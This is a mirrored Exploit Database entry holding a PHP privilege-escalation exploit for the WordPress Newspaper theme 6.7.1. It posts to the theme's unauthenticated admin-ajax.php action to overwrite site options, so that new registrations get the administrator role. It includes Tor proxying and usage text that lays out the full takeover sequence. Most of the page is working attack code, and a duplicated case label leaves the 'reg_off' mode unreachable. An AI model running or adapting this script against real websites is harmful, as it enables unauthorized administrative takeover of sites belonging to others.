WordPress Theme Newspaper 6.7.1 – Privilege Escalation

• Exploit Database
• 16 阅读

• 作者： wp0Day.com
  日期： 2016-06-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39894/

• <?php
  /**
   * Exploit Title: Newspaper WP Theme Expoit
   * Google Dork:
   * Exploit Author: wp0Day.com <contact@wp0day.com>
   * Vendor Homepage: http://tagdiv.com/newspaper/
   * Software Link: http://themeforest.net/item/newspaper/5489609
   * Version: 6.7.1
   * Tested on: Debian 8, PHP 5.6.17-3
   * Type: WP Options Overwrite, Possible more
   * Time line: Found [23-APR-2016], Vendor notified [23-APR-2016], Vendor fixed: [27-APR-2016], [RD:1]
   */
  
  
  require_once('curl.php');
  //OR
  //include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
  $curl = new CurlWrapper();
  
  
  $options = getopt("t:m:u:p:f:c:",array('tor:'));
  print_r($options);
  $options = validateInput($options);
  
  if (!$options){
  showHelp();
  }
  
  if ($options['tor'] === true)
  {
  echo " ### USING TOR ###\n";
  echo "Setting TOR Proxy...\n";
  $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
  $curl->addOption(CURLOPT_PROXYTYPE,7);
  echo "Checking IPv4 Address\n";
  $curl->get('https://dynamicdns.park-your-domain.com/getip');
  echo "Got IP : ".$curl->getResponse()."\n";
  echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
  $answer = fgets(fopen ("php://stdin","r"));
  if(trim($answer) != 'wololo'){
  die("Aborting!\n");
  }
  echo "OK...\n";
  }
  
  function exploit(){
  global $curl, $options;
  switch ($options['m']){
  case "admin_on":
  echo "Setting default role to Administrator \n";
  $data = array('action'=>'td_ajax_update_panel', 'wp_option[default_role]'=>'administrator');
  break;
  case "admin_off":
  echo "Setting default role to Subscriber \n";
  $data = array('action'=>'td_ajax_update_panel', 'wp_option[default_role]'=>'subscriber');
  break;
  case "reg_on":
  echo "Enabling registrations\n";
  $data = array('action'=>'td_ajax_update_panel', 'wp_option[users_can_register]'=>'1');
  break;
  case "reg_on":
  echo "Disabling registrations\n";
  $data = array('action'=>'td_ajax_update_panel', 'wp_option[users_can_register]'=>'0');
  break;
  
  }
  
  $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
  $resp = $curl->getResponse();
  echo "Response: ". $resp."\n";
  }
  
  
  exploit();
  
  
  
  function validateInput($options){
  
  if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
  return false;
  }
  
  if (!preg_match('~/$~',$options['t'])){
  $options['t'] = $options['t'].'/';
  }
  if (!isset($options['m']) || !in_array($options['m'], array('admin_on','reg_on','admin_off','reg_off') ) ){
  return false;
  }
  
  $options['tor'] = isset($options['tor']);
  
  return $options;
  }
  
  
  function showHelp(){
  global $argv;
  $help = <<<EOD
  
  Newspaper WP Theme Exploit
  
  Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -m [MODE]
  
   [TARGET_URL] http://localhost/wordpress/
   [MODE] admin_on - Default admin level on reg. admin_off - Default subscriber on reg.
  reg_on - Turns on user registration. reg_off - Turns off user registrations.
  
   Trun on registrations, set default level to admin, register a user on the webiste,
   turn off admin mode, turn off user registrations.
  
  Examples:
   php $argv[0] -t http://localhost/wordpress --tor=yes -m admin_on
   [Register a new user as Admin]
   php $argv[0] -t http://localhost/wordpress --tor=yes -m admin_off
  
  Misc:
   CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
   @link http://github.com/svyatov/CurlWrapper
   @license http://www.opensource.org/licenses/mit-license.html MIT License
  
  EOD;
  echo $help."\n\n";
  die();
  }